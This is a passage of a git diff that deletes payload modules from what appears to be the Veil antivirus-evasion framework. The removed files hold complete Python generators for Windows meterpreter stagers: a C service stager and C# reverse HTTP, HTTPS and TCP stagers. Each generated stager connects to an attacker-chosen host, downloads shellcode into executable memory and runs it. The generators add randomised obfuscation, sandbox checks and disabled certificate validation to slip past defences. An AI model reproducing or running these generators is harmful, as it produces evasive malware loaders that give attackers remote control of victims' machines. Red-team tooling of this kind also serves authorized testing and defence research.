evasion_helpers.randomString() - wsconnect_name = evasion_helpers.randomString() - - # the real includes needed - includes = [ "#include " , "#include ", "#include ", "#include "] - - # max length string for obfuscation - global_max_string_length = 10000 - max_string_length = random.randint(100,global_max_string_length) - max_num_strings = 10000 - - - # TODO: add in more string processing functions - randName1 = evasion_helpers.randomString() # reverse() - randName2 = evasion_helpers.randomString() # doubles characters - stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i", "#include ", "#include ", "#include ", "#include ", - "#include ", "#include "] - for x in range(1, random.randint(1,7)): - includes.append(fake_includes[x]) - - # obsufcation - shuffle up our real and fake includes - random.shuffle(includes) - - code = "#define _WIN32_WINNT 0x0500\n" - code += "#include \n" - code += "\n".join(includes) + "\n" - - - # real - service related headers (check the stub) - hStatusName = evasion_helpers.randomString() - serviceHeaders = ["SERVICE_STATUS ServiceStatus;","SERVICE_STATUS_HANDLE %s;" %(hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);"] - random.shuffle(serviceHeaders) - - code += "\n".join(serviceHeaders) - - # obsufcation - string mod functions - code += stringModFunctions[0][1] + "\n" - code += stringModFunctions[1][1] + "\n" - - # real - build the winsock_init function - wVersionRequested_name = evasion_helpers.randomString() - wsaData_name = evasion_helpers.randomString() - code += "void %s() {" % (winsock_init_name) - code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, evasion_helpers.obfuscateNum(2,4),evasion_helpers.obfuscateNum(2,4), wsaData_name) - code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) - - # first logical nop string function - code += stringGenFunctions[0][1] + "\n" - - # real - build punt function - my_socket_name = evasion_helpers.randomString() - code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) - code += "closesocket(%s);" %(my_socket_name) - code += "WSACleanup();" - code += "exit(1);}\n" - - # obsufcation - second logical nop string function - code += stringGenFunctions[1][1] + "\n" - - # real - build recv_all function - my_socket_name = evasion_helpers.randomString() - buffer_name = evasion_helpers.randomString() - len_name = evasion_helpers.randomString() - code += "int %s(SOCKET %s, void * %s, int %s){" %(recv_all_name, my_socket_name, buffer_name, len_name) - code += "int slfkmklsDSA=0;int rcAmwSVM=0;" - code += "void * startb = %s;" %(buffer_name) - code += "while (rcAmwSVM < %s) {" %(len_name) - code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" %(my_socket_name, len_name) - code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" - code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" %(punt_name, my_socket_name) - - # obsufcation - third logical nop string function - code += stringGenFunctions[2][1] + "\n" - - # real - build wsconnect function - target_name = evasion_helpers.randomString() - sock_name = evasion_helpers.randomString() - my_socket_name = evasion_helpers.randomString() - code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) - code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) - code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); - code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) - code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) - code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) - code += "%s.sin_family = AF_INET;" %(sock_name) - code += "%s.sin_port = htons(%s);" %(sock_name, evasion_helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) - code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) - code += "return %s;}\n" %(my_socket_name) - - - # real - main() method for the service code - serviceName = evasion_helpers.randomString() - code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];" - serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" %(serviceName), - "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;", - "ServiceTable[1].lpServiceName = NULL;", - "ServiceTable[1].lpServiceProc = NULL;"] - random.shuffle(serviceTableEntries) - code += "\n".join(serviceTableEntries) - code += "StartServiceCtrlDispatcher(ServiceTable);}\n" - - - # real - service status options for us to shuffle - serviceStatusOptions = ["ServiceStatus.dwWin32ExitCode = 0;", - "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;", - "ServiceStatus.dwWaitHint = 0;", - "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;", - "ServiceStatus.dwServiceSpecificExitCode = 0;", - "ServiceStatus.dwCheckPoint = 0;", - "ServiceStatus.dwServiceType = SERVICE_WIN32;"] - random.shuffle(serviceStatusOptions) - - # real - serviceMain() code - code += "void ServiceMain(int argc, char** argv) {\n" - code += "\n".join(serviceStatusOptions) - - code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" %(hStatusName, serviceName) - code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" %(hStatusName) - code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;" - code += "SetServiceStatus (%s, &ServiceStatus);" %(hStatusName) - - code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n" - - # obsufcation - random variable names - size_name = evasion_helpers.randomString() - buffer_name = evasion_helpers.randomString() - function_name = evasion_helpers.randomString() - my_socket_name = evasion_helpers.randomString() - count_name = evasion_helpers.randomString() - - # obsufcation - necessary declarations - char_array_name_1 = evasion_helpers.randomString() - number_of_strings_1 = random.randint(1,max_num_strings) - char_array_name_2 = evasion_helpers.randomString() - number_of_strings_2 = random.randint(1,max_num_strings) - char_array_name_3 = evasion_helpers.randomString() - number_of_strings_3 = random.randint(1,max_num_strings) - - # real - necessary declarations - code += "ULONG32 %s;" %(size_name) - code += "char * %s;" %(buffer_name) - code += "int i;" - code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) - code += "void (*%s)();" %(function_name) - - # obsufcation - malloc our first string obfuscation array - code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) - - code += "%s();" %(winsock_init_name) - code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) - code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) - - # obsufcation - malloc our second string obfuscation array - code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) - - # real - receive the 4 byte size from the handler - code += "int %s = recv(%s, (char *)&%s, %s, 0);" % (count_name, my_socket_name, size_name, evasion_helpers.obfuscateNum(4,2)) - # real - punt the socket if something goes wrong - code += "if (%s != %s || %s <= 0) %s(%s);" %(count_name, evasion_helpers.obfuscateNum(4,2), size_name, punt_name, my_socket_name) - - # real - virtual alloc space for the meterpreter .dll - code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name, size_name, evasion_helpers.obfuscateNum(5,2)) - - # obsufcation - declare space for our 3 string obfuscation array - code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) - - # obsufcation - first string obfuscation method - code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) - - # real - check if the buffer received is null, if so punt the socket - code += "if (%s == NULL) %s(%s);" %(buffer_name, punt_name, my_socket_name) - - # real - prepend some buffer magic to push the socket number onto the stack - code += "%s[0] = 0xBF;" %(buffer_name) - # real- copy the 4 magic bytes into the buffer - code += "memcpy(%s + 1, &%s, %s);" %(buffer_name, my_socket_name, evasion_helpers.obfuscateNum(4,2)) - - # obsufcation - malloc our third string obfuscation array - code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) - - # obsufcation - second string obfuscation method - code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) - - # real - receive all data from the socket - code += "%s = %s(%s, %s + %s, %s);" %(count_name, recv_all_name, my_socket_name, buffer_name, evasion_helpers.obfuscateNum(5,2), size_name) - code += "%s = (void (*)())%s;" %(function_name, buffer_name) - code += "%s();" %(function_name) - - # obsufcation - third string obfuscation method (never called) - code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) - - code += "} return; }\n" - - # service control handler code - code += """void ControlHandler(DWORD request) - { - switch(request) - { - case SERVICE_CONTROL_STOP: - ServiceStatus.dwWin32ExitCode = 0; - ServiceStatus.dwCurrentState = SERVICE_STOPPED; - SetServiceStatus (%s, &ServiceStatus); - return; - case SERVICE_CONTROL_SHUTDOWN: - ServiceStatus.dwWin32ExitCode = 0; - ServiceStatus.dwCurrentState = SERVICE_STOPPED; - SetServiceStatus (%s, &ServiceStatus); - return; - default: - break; - } - SetServiceStatus (%s, &ServiceStatus); - return; - } - """ %(hStatusName, hStatusName, hStatusName) - - self.payload_source_code = code - return diff --git a/Tools/Evasion/payloads/cs/.gitignore b/Tools/Evasion/payloads/cs/.gitignore deleted file mode 100644 index 0d20b64..0000000 --- a/Tools/Evasion/payloads/cs/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*.pyc diff --git a/Tools/Evasion/payloads/cs/__init__.py b/Tools/Evasion/payloads/cs/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/cs/meterpreter/__init__.py b/Tools/Evasion/payloads/cs/meterpreter/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/cs/meterpreter/rev_http.py b/Tools/Evasion/payloads/cs/meterpreter/rev_http.py deleted file mode 100644 index 31ed826..0000000 --- a/Tools/Evasion/payloads/cs/meterpreter/rev_http.py +++ /dev/null @@ -1,173 +0,0 @@ -""" -Custom-written pure c# meterpreter/reverse_http stager -Uses basic variable renaming obfuscation - -Module built by @harmj0y -Updated for Veil 3 by @evan_pena2003 -""" - -from lib.common import helpers -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import gamemaker -import random - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" - self.language = "cs" - self.extension = "cs" - self.rating = "Excellent" - self.name = "Pure C# Reverse HTTP Stager" - self.path = "cs/meterpreter/rev_http" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user interaction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["8080", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_ARYA" : ["N", "Use the Arya crypter"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], - "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - - def generate(self): - - # imports and namespace setup - payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading;\n" - payload_code += "namespace %s { class %s {\n" % (helpers.randomString(), helpers.randomString()) - - # code for the randomString() function - randomStringName = helpers.randomString() - bufferName = helpers.randomString() - charsName = helpers.randomString() - t = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") - random.shuffle(t) - chars = ''.join(t) - - payload_code += "static string %s(Random r, int s) {\n" %(randomStringName) - payload_code += "char[] %s = new char[s];\n"%(bufferName) - payload_code += "string %s = \"%s\";\n" %(charsName, chars) - payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" %(bufferName, charsName, charsName) - payload_code += "return new string(%s);}\n" %(bufferName) - - - # code for the checksum8() function - checksum8Name = helpers.randomString() - payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" %(checksum8Name) - - - # code fo the genHTTPChecksum() function - genHTTPChecksumName = helpers.randomString() - baseStringName = helpers.randomString() - randCharsName = helpers.randomString() - urlName = helpers.randomString() - random.shuffle(t) - randChars = ''.join(t) - - payload_code += "static string %s(Random r) { string %s = \"\";\n" %(genHTTPChecksumName,baseStringName) - payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" %(baseStringName,randomStringName) - payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" %(randCharsName,randChars) - payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" %(randCharsName) - payload_code += "string %s = %s + %s[j];\n" %(urlName,baseStringName,randCharsName) - payload_code += "if (%s(%s)) {return %s;}}} return \"9vXU\";}"%(checksum8Name,urlName, urlName) - - - # code for getData() function - getDataName = helpers.randomString() - strName = helpers.randomString() - webClientName = helpers.randomString() - sName = helpers.randomString() - - payload_code += "static byte[] %s(string %s) {\n" %(getDataName,strName) - payload_code += "WebClient %s = new System.Net.WebClient();\n" %(webClientName) - payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" %(webClientName) - payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" %(webClientName) - payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" %(webClientName) - payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" %(webClientName) - payload_code += "byte[] %s = null;\n" %(sName) - payload_code += "try { %s = %s.DownloadData(%s);\n" %(sName, webClientName, strName) - payload_code += "if (%s.Length < 100000) return null;}\n" %(sName) - payload_code += "catch (WebException) {}\n" - payload_code += "return %s;}\n" %(sName) - - - # code fo the inject() function to inject shellcode - injectName = helpers.randomString() - sName = helpers.randomString() - funcAddrName = helpers.randomString() - hThreadName = helpers.randomString() - threadIdName = helpers.randomString() - pinfoName = helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) - payload_code += " if (%s != null) {\n" %(sName) - payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName) - payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName) - payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName) - payload_code += " UInt32 %s = 0;\n" %(threadIdName) - payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName) - payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName) - payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - - payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) - payload_code += " if (%s != null) {\n" %(sName) - payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(pinfoName, sName) - payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName) - payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName) - payload_code += ' UInt32 {} = 0;\n'.format(threadIdName) - payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName) - payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName) - - - # code for Main() to launch everything - sName = helpers.randomString() - randomName = helpers.randomString() - curlyCount = 0 - - payload_code += "static void Main(){\n" - - payload_code2, curlyCount = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" %(randomName) - payload_code += "byte[] %s = %s(\"http://%s:%s/\" + %s(%s));\n" %(sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0],genHTTPChecksumName,randomName) - payload_code += "%s(%s);}\n" %(injectName, sName) - - while (curlyCount != 0): - payload_code += '\t' * curlyCount + '}' - curlyCount -= 1 - - # get random variables for the API imports - r = [helpers.randomString() for x in range(12)] - y = [helpers.randomString() for x in range(17)] - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) - - if self.required_options["USE_ARYA"][0].lower() == "y": - payload_code = encryption.arya(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/cs/meterpreter/rev_https.py b/Tools/Evasion/payloads/cs/meterpreter/rev_https.py deleted file mode 100644 index 0fba43b..0000000 --- a/Tools/Evasion/payloads/cs/meterpreter/rev_https.py +++ /dev/null @@ -1,180 +0,0 @@ -""" -Custom-written pure c# meterpreter/reverse_https stager -Uses basic variable renaming obfuscation - -Module built by @harmj0y -Updated by @ChrisTruncer and @evan_pena2003 -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import gamemaker -import random - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" - self.language = "cs" - self.extension = "cs" - self.rating = "Excellent" - self.name = "Pure C# Reverse HTTPS Stager" - self.path = "cs/meterpreter/rev_https" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user interaction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["8081", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_ARYA" : ["N", "Use the Arya crypter"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], - "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # imports and namespace setup - payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading;\n" - payload_code += "namespace %s { class %s {\n" % (evasion_helpers.randomString(), evasion_helpers.randomString()) - - # code for the randomString() function - randomStringName = evasion_helpers.randomString() - bufferName = evasion_helpers.randomString() - charsName = evasion_helpers.randomString() - t = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") - random.shuffle(t) - chars = ''.join(t) - - - # logic to turn off certificate validation - validateServerCertficateName = evasion_helpers.randomString() - payload_code += "private static bool %s(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }\n" %(validateServerCertficateName) - - - # code for the randomString() method - payload_code += "static string %s(Random r, int s) {\n" %(randomStringName) - payload_code += "char[] %s = new char[s];\n"%(bufferName) - payload_code += "string %s = \"%s\";\n" %(charsName, chars) - payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" %(bufferName, charsName, charsName) - payload_code += "return new string(%s);}\n" %(bufferName) - - - # code for the checksum8() function - checksum8Name = evasion_helpers.randomString() - payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" %(checksum8Name) - - - # code fo the genHTTPChecksum() function - genHTTPChecksumName = evasion_helpers.randomString() - baseStringName = evasion_helpers.randomString() - randCharsName = evasion_helpers.randomString() - urlName = evasion_helpers.randomString() - random.shuffle(t) - randChars = ''.join(t) - - payload_code += "static string %s(Random r) { string %s = \"\";\n" %(genHTTPChecksumName,baseStringName) - payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" %(baseStringName,randomStringName) - payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" %(randCharsName,randChars) - payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" %(randCharsName) - payload_code += "string %s = %s + %s[j];\n" %(urlName,baseStringName,randCharsName) - payload_code += "if (%s(%s)) {return %s;}}} return \"9vXU\";}"%(checksum8Name,urlName, urlName) - - - # code for getData() function - getDataName = evasion_helpers.randomString() - strName = evasion_helpers.randomString() - webClientName = evasion_helpers.randomString() - sName = evasion_helpers.randomString() - - payload_code += "static byte[] %s(string %s) {\n" %(getDataName,strName) - payload_code += "ServicePointManager.ServerCertificateValidationCallback = %s;\n" %(validateServerCertficateName) - payload_code += "WebClient %s = new System.Net.WebClient();\n" %(webClientName) - payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" %(webClientName) - payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" %(webClientName) - payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" %(webClientName) - payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" %(webClientName) - payload_code += "byte[] %s = null;\n" %(sName) - payload_code += "try { %s = %s.DownloadData(%s);\n" %(sName, webClientName, strName) - payload_code += "if (%s.Length < 100000) return null;}\n" %(sName) - payload_code += "catch (WebException) {}\n" - payload_code += "return %s;}\n" %(sName) - - - # code fo the inject() function to inject shellcode - injectName = evasion_helpers.randomString() - sName = evasion_helpers.randomString() - funcAddrName = evasion_helpers.randomString() - hThreadName = evasion_helpers.randomString() - threadIdName = evasion_helpers.randomString() - pinfoName = evasion_helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) - payload_code += " if (%s != null) {\n" %(sName) - payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName) - payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName) - payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName) - payload_code += " UInt32 %s = 0;\n" %(threadIdName) - payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName) - payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName) - payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - - payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) - payload_code += " if (%s != null) {\n" %(sName) - payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(pinfoName, sName) - payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName) - payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName) - payload_code += ' UInt32 {} = 0;\n'.format(threadIdName) - payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName) - payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName) - - - # code for Main() to launch everything - sName = evasion_helpers.randomString() - randomName = evasion_helpers.randomString() - curlyCount = 0 - - payload_code += "static void Main(){\n" - - payload_code2, curlyCount = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" %(randomName) - payload_code += "byte[] %s = %s(\"https://%s:%s/\" + %s(%s));\n" %(sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0],genHTTPChecksumName,randomName) - payload_code += "%s(%s);}\n" %(injectName, sName) - - while (curlyCount != 0): - payload_code += '\t' * curlyCount + '}' - curlyCount -= 1 - - # get 12 random variables for the API imports - r = [evasion_helpers.randomString() for x in range(12)] - y = [evasion_helpers.randomString() for x in range(17)] - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) - - if self.required_options["USE_ARYA"][0].lower() == "y": - payload_code = encryption.arya(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/cs/meterpreter/rev_tcp.py b/Tools/Evasion/payloads/cs/meterpreter/rev_tcp.py deleted file mode 100644 index ca6302a..0000000 --- a/Tools/Evasion/payloads/cs/meterpreter/rev_tcp.py +++ /dev/null @@ -1,140 +0,0 @@ -""" -Custom-written pure c# meterpreter/reverse_tcp stager -Uses basic variable renaming obfuscation - -Module built by @harmj0y -Updated by @ChrisTruncer and @evan_pena2003 -""" - -from lib.common import helpers -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" - self.language = "cs" - self.extension = "cs" - self.rating = "Excellent" - self.name = "Pure C# Reverse TCP Stager" - self.path = "cs/meterpreter/rev_tcp" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user interaction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["4444", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_ARYA" : ["N", "Use 